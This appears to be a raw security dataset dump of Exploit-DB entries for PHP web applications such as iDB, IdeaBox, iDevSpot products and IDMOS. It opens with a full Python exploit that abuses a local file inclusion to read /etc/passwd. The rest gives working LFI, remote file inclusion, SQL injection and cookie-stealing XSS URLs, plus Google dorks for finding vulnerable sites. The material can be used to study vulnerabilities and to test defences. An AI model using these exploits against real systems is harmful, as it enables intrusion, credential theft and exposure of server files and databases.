deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8357
Description: iDB 0.2.5pa SVN 243 - 'skin' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-06
Author: LOTFREE

Exploit:
#!/usr/bin/env
# LOTFREE 2009 - lotfree.next-touch.com
# Local require() vulnerability in iDB (a PHP/MySQL BBS)
# Test on version 0.2.5 Pre-Alpha SVN 243 (released March 30, 2009)
#
# No checks are made on var "skin" in inc/profilemain.php before saving it to database
# this value is then require()d in mysql.php as $_GET['theme'] (global var is overwritten) :
#=> require($SettDir['themes'].$_GET['theme']."/settings.php");
# so if we set "skin" to (for example) "../../../../../etc/passwd\0" we can get the passwd
# file content :)
# skin is saved to mysql as "UseTheme" in table idb_members
# !! the type is "varchar(26)" so we are limited in injection :( !!
#
# Website of iDB : http://idb.berlios.de/ - http://sourceforge.net/projects/freshmeat_idb/
import urllib, urllib2, sys

print "\tLOTFREE - iDB local PHP file inclusion vulnerability exploit\n"
if len(sys.argv)!=5:
  print "Usage: python LOTF-iDB.py <forum_root> <local_path_for_inclusion> <login> <password>"
  print "e.g: python LOTF-iDB.py http://localhost/iDB/ ../../../../etc/passwd johndoe s3cr3t"
  print "use python LOTF-iDB.py <forum_root> iDB <login> <password> to restore the default skin"
  sys.exit()

forum_root = sys.argv[1]
if forum_root[-1]!="/":
  forum_root += "/"
username = sys.argv[3]
password = sys.argv[4]
skin = ""
if sys.argv[2]=="iDB":
  skin = "iDB"
else:
  skin = sys.argv[2]+"\0"
if len(skin)>26:
  print "Path for inclusion must be lower than 27 chars in length due to SQL structure :("
  sys.exit()

print "Logging on the server..."
qs = {"username":username, "userpass": password, "storecookie": "true", "act": "loginmember"}
req = urllib2.Request(forum_root+"member.php?act=login_now",urllib.urlencode(qs))
data = urllib2.urlopen(req)
cookies = data.headers.getheaders("set-cookie")
cook = []
for c in cookies:
  for t in c.split(";"):
    if t.find("=")>0:
      k = t.split("=")[0]
      v = t.split("=",1)[1]
      if k in ["idb_sess", "MemberName", "UserID", "SessPass"]:
        cook.append(k+"="+v)
cook_str = "; ".join(cook)
print "Cookie string:",cook_str
print


qs = {"YourOffSet" : "0",
    "MinOffSet" : "00",
    "skin" : skin,
    "RepliesPerPage" : "10",
    "TopicsPerPage" : "10",
    "MessagesPerPage" : "10",
    "DST" : "off",
    "act" : "settings",
    "update" : "now"}
c_headers = {"Cookie": cook_str, "Referer": forum_root+"profile.php?act=settings"}
print "Sending payload..."
req = urllib2.Request(forum_root+"profile.php?act=settings",urllib.urlencode(qs),c_headers)
urllib2.urlopen(req)

req = urllib2.Request(forum_root+"index.php?act=view",headers=c_headers)
data = urllib2.urlopen(req).read()
# if /etc/passwd was included
if data.find("root:x:0:0:")>=0:
  print data.split("<")[0]
elif skin=="iDB":
  print "Default skin restored!"
elif data.find("require")>=0:
  print "Oups... file not found or access forbidden :(\n"
  print data[:200]
else:
  print "Output:"
  print data

# milw0rm.com [2009-04-06]
Exploit-DB #1928
Description: IdeaBox 1.1 - 'gorumDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-19
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  IdeaBox <= 1.1 (gorumDir) Remote File Include Vulnerability
$$  script site: http://ideabox.phpoutsourcing.com/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
/*
19 Czerwca 2006r. Znikam na miesiac jade na wakacje :-)
---------------------------------------------------------------
19 June 2006 go to vacations !!!! I return for month, Cya ;-)
*/


#include.php:
/*
include("$gorumDir/generformlib_date.php");
include("$gorumDir/notification.php");
include("$gorumDir/zmail.php");
include("$ideaDir/user.php");
include("$ideaDir/globalsettings.php");
include("$ideaDir/init.php");
include("$ideaDir/idea.php");
include("$ideaDir/history.php");
include("$ideaDir/cord.php");
*/


#Expl:


http://www.site.com/[IdeaBox_path]/include.php?gorumDir=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-19]
Exploit-DB #8049
Description: ideacart 0.02 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2009-02-13
Author: nuclear

Exploit:
#IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities


#Author: nuclear


#LFI:
http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00


#SQL:
http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23


#notes:
get ur sql result at: YOUR ORDER DETAILS 5.0.67 @ bla bla bla


#greetz Mi4night, cAs, zYzTeM, Digitalfortress, THE_MAN, Pepe, I-O-W-A,
 DiGitalX, sys32-hack, sys32r, Whitestar


#special greets to: Digitalfortress
thnx for keeping me up mate


#to str0ke:
thnx for putting all the vulns up brotha !


#comment:
I'm finally done with this shit..number 13 and there will be no more
I'm outta here.. bye ya'll 

# milw0rm.com [2009-02-13]
Exploit-DB #9631
Description: iDesk - 'download.php?cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-10
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( download.php cat_id )
##
## iDesk
##
## http://www.nicecoder.com
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/download.php?cat_id=-1+UNION+SELECT+0,0,0,@@VERSION,0,0,0,0,0--
##
########################
########################
 

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-09-10]
Exploit-DB #39153
Description: iDevAffiliate - 'idevads.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-04-22
Author: Robert Cooper

Exploit:
source: https://www.securityfocus.com/bid/67031/info

iDevAffiliate is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

iDevAffiliate 5.0 and prior are vulnerable. 

http://www.example.com/idevaffiliate/idevads.php?id=6&ad=[SQLi]
Exploit-DB #10798
Description: iDevAffiliate 4.0 - Backup
Type: webapps
Platform: php
Date: 2009-12-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : iDevAffiliate v4.0 Backup Vulnerability                          |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by iDevAffiliate Version 4.0    |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Backup                                                                  | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/idevaffiliate/backups
|  
================================   Dz-Ghost Team   ========================================
Greetz : Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.albasrah-forums.com * www.amman-dj.com * www.forums.ibb7.com * www.maker-sat.com * www.owned-m.com
www.vb.7lanet.com * www.3kalam.com * Stake (v4-team.com) * www.3kalam.com * www.dev-chat.com  
www.al7ra.com * Cyb3r IntRue (avengers team) * www.securityreason.com * www.packetstormsecurity.org
www.sazcart.com * www.best-sec.net * www.app.feeddigest.com * www.forum.brg8.com * www.zone-h.net
www.m-y.cc * www.hacker.ps * no-exploit.com * www.bug-blog.de * www.gem-flash.com * www.soqor.org
www.h4ckf0ru.com * www.bawassil.com * www.host4ll.com * www.hacker-top.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com)  
SoldierOfAllah (www.m4r0c-s3curity.cc)www.arhack.net * www.google.com * www.np-alm7bh.com 
www.lyloo59.skyrock.com * www.sec-eviles.com * www.snakespc.com * www.kadmiwe.net * www.syrcafe.com 
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.h-t.cc * www.arabic-m.com * www.74ck3r.com 
r1z (www.sec-r1z.com) * omanroot.com * www.bdr130.net * www.zac003.persiangig.ir * www.0xblackhat.ir
www.mormoroth.net * www.securitywall.org * www.sec-code.com *
-------------------------------------------------------------------------------------------
Exploit-DB #28598
Description: IDevSpot BizDirectory 1.9 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-18
Author: s3rv3r_hack3r

Exploit:
source: https://www.securityfocus.com/bid/20081/info

IDevSpot BizDirectory is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker steal cookie-based authentication credentials and launch other attacks.

BizDirectory 1.9 and prior versions are vulnerable.

www.example.com/BizDirectory/Feed.php?stylesheet=[xss]
www.example.com/BizDirectory/status.php?message=[xss]
Exploit-DB #32312
Description: IDevSpot BizDirectory 2.04 - 'page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-02
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/30980/info

IDevSpot BizDirectory is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

BizDirectory 2.04 is vulnerable; other verisons may also be affected. 

http://www.example.com/?page=[XsS]&mode=search
Exploit-DB #15818
Description: iDevSpot iDevCart 1.10 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2010-12-24
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
 iDevSpot iDevCart 1.10 Multiple Local File Inclusion Vulnerabilities
-----------------------------------------------------------------------
Author  	: v3n0m (v3n0m666[at]live[dot]com)
Site    	: http://yogyacarderlink.web.id/
Date		: December, 24-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00

Application	: iDevCart
Price		: $49.95
Version		: 1.10 Other versions may also be affected
Vendor  	: http://www.idevspot.com/
Google Dorks	: "iDevCart 1.10 Shopping Cart Software"

Exploit & p0c
_____________

**[LFI]
http://127.0.0.1/[path]/index.php?page=[LFI]%00
http://127.0.0.1/[path]/index.php?page=browse&category=[LFI]%00
_________________________________________________

All YOGYACARDERLINK Crew & My Beloved Jovita Andy
_________________________________________________
Exploit-DB #30918
Description: iDevSpot iSupport 1.8 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-12-20
Author: JuMp-Er

Exploit:
source: https://www.securityfocus.com/bid/26961/info

iSupport is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

This issue affects iSupport 1.8; other versions may also be affected. 


http://www.example.com/iSupport/index.php?include_file=[local file]
http://www.example.com/helpdesk/index.php?include_file=../../../../../proc/self/environ
http://www.example.com/helpdesk/index.php?include_file=../../../../../etc/passwd
Exploit-DB #28518
Description: IDevSpot iSupport 1.8 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: s3rv3r_hack3r

Exploit:
source: https://www.securityfocus.com/bid/19964/info

IDevSupport iSupport is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.8 is vulnerable; other version may also be affected.

http://www.example.com/isupport/index.php?cons_root=[shell]
Exploit-DB #28517
Description: IDevSpot iSupport 1.8 - 'index.php?cons_page_title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-12
Author: s3rv3r_hack3r

Exploit:
source: https://www.securityfocus.com/bid/19963/info
  
IDevSpot iSupport is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Version 1.8 is vulnerable; other versions may also be affected.

http://www.example.com/isupport/index.php?cons_page_title=[xss]
Exploit-DB #28516
Description: IDevSpot iSupport 1.8 - 'open_tickets.php?ticket_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-12
Author: s3rv3r_hack3r

Exploit:
source: https://www.securityfocus.com/bid/19963/info
 
IDevSpot iSupport is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Version 1.8 is vulnerable; other versions may also be affected.

http://www.example.com/isupport/support/open_tickets.php?ticket_id=[xss]
Exploit-DB #28515
Description: IDevSpot iSupport 1.8 - 'rightbar.php?suser' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-12
Author: s3rv3r_hack3r

Exploit:
source: https://www.securityfocus.com/bid/19963/info

IDevSpot iSupport is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Version 1.8 is vulnerable; other versions may also be affected.

http://www.example.com/isupport/support/rightbar.php?suser=[xss]
Exploit-DB #28248
Description: IDevSpot PHPHostBot 1.0 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-20
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/19084/info

PHPHostBot is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/order/index.php?page=http://[malicious_site]/file
Exploit-DB #28247
Description: IDevSpot PHPLinkExchange 1.0 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-20
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/19083/info

PHPLinkExchange is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/index.php?page=http://[malicious_site]/file
Exploit-DB #32230
Description: IDevSpot PHPLinkExchange 1.01/1.02 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-12
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/30665/info

PhPLinkExchange is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PhpLinkExchange 1.01 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?catid=[XSS]
http://www.example.com/index.php?page=user_add&catid=[XSS]
http://www.example.com/index.php?page=recip&catid=[XSS]
http://www.example.com/index.php?page=tellafriend&catid=[XSS]
http://www.example.com/index.php?page=contact&catid=[XSS]
http://www.example.com/index.php?page=tellafriend&id=[XSS]
Exploit-DB #13749
Description: idevspot Text ads 2.08 - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-06
Author: Sid3^effects

Exploit:
# Title:idevspot Text ads 2.08 sqli vulnerability
# Author: Sid3^effects
# Published: 2010-06-06
# price:$147
# email:shell_c99@yahoo.com
# vendor: idevspot
# url : http://www.idevspot.com/TextAds2.php
# google dork : Powered by TextAds 2.08

############################################################################
        ooooo  .oooooo.  oooooo   oooooo     oooo 
        `888' d8P'  `Y8b  `888.    `888.     .8' 
         888 888           `888.   .8888.   .8' 
         888 888            `888  .8'`888. .8' 
         888 888             `888.8'  `888.8'  
         888 `88b    ooo      `888'    `888' 
        o888o `Y8bood8P'       `8'      `8'    
                                          
-------------------------------------------------------------------------------------- 
#####################Sid3^effects aKa HaRi################################## 
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors] 
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L,CR4C|< 008,M4n0j,MaYuR 
#ShouTZ:kedar,dec0d3r,41.w4r10r
#spl shoutz:LiquidWorm,gunslinger_ :D      
#Catch us at www.andhrahackers.com or www.teamicw.in 
############################################################################ 
Description :
Increase your website revenue by selling text advertisement spots on your website. TextAds is a fully automated,
impression based text advertisement system. It includes client and administrative control panels and supports
Paypal (client) billing. Our easy installation will have most users up and running quickly. Customization is also
quite easy, even for the non-programmer. Many additional features are yours as well with TextAds, please come
check them out at our website 
############################################################################ 
Xploit :
The idevspot TextAds V2.08 suffers from sqli
Demo : http://server/textads_2/index.php?page=[sqli]
         
############################################################################ 
#spl thks: exploit-db.com
#Sid3^effects
Exploit-DB #4954
Description: IDM-OS 1.0 - 'Filename' File Disclosure
Type: webapps
Platform: php
Date: 2008-01-21
Author: MhZ91

Exploit:
--==+================================================================================+==--
--==+		        idmos1.0 Remote File Discolousure Vulnerability              +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: Remote File Discolusure Vulnerability
 Download: http://sourceforge.net/project/showfiles.php?group_id=188355 idmos1.0
 Bug: Remote File Discolousure Vulnerability
 Info: IDMOS is a CMS (Content Management System) that fill all requirements in IDM Method. It provides dynamic front-end and administrative tools. Multilanguage, template-based, component-base, it is written in PHP and uses MySQL as DB.
 Visit: http://www.inj3ct-it.org


[*]----------------------------------------------------------


We can download file present on the server... for example we can get the file of db credentials, configuration.php

Exploit:

http://[www.example.com]/administrator/download.php?fileName=../configuration.php


or try to get /etc/passwd :) 


[*]----------------------------------------------------------

# milw0rm.com [2008-01-21]
Exploit-DB #31946
Description: IDMOS 1.0 - 'site_absolute_path' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-06-23
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/29868/info

IDMOS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

IDMOS 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/path/administrator/admin.php?site_absolute_path=[SHELL]
http://www.example.com/path/administrator/menu_operation.php?site_absolute_path=[SHELL]
http://www.example.com/path/administrator/template_add.php?site_absolute_path=[SHELL]
http://www.example.com/path/administrator/template_operation.php?site_absolute_path=[SHELL]
Exploit-DB #4495
Description: idmos-phoenix CMS - 'aural.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-07
Author: HACKERS PAL

Exploit:
idmos-phoenix cms Remote File inclusion
 
Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net
 
RFI
core/aural.php?site_absolute_path=http://localhost/cmd.txt?&cmd=dir
 
Xss
error.php?err_msg=<script>alert(document.cookie);</script>
templates/simple/ia.php?content=<script>alert(document.cookie);</script>
# WwW.SoQoR.NeT

# milw0rm.com [2007-10-07]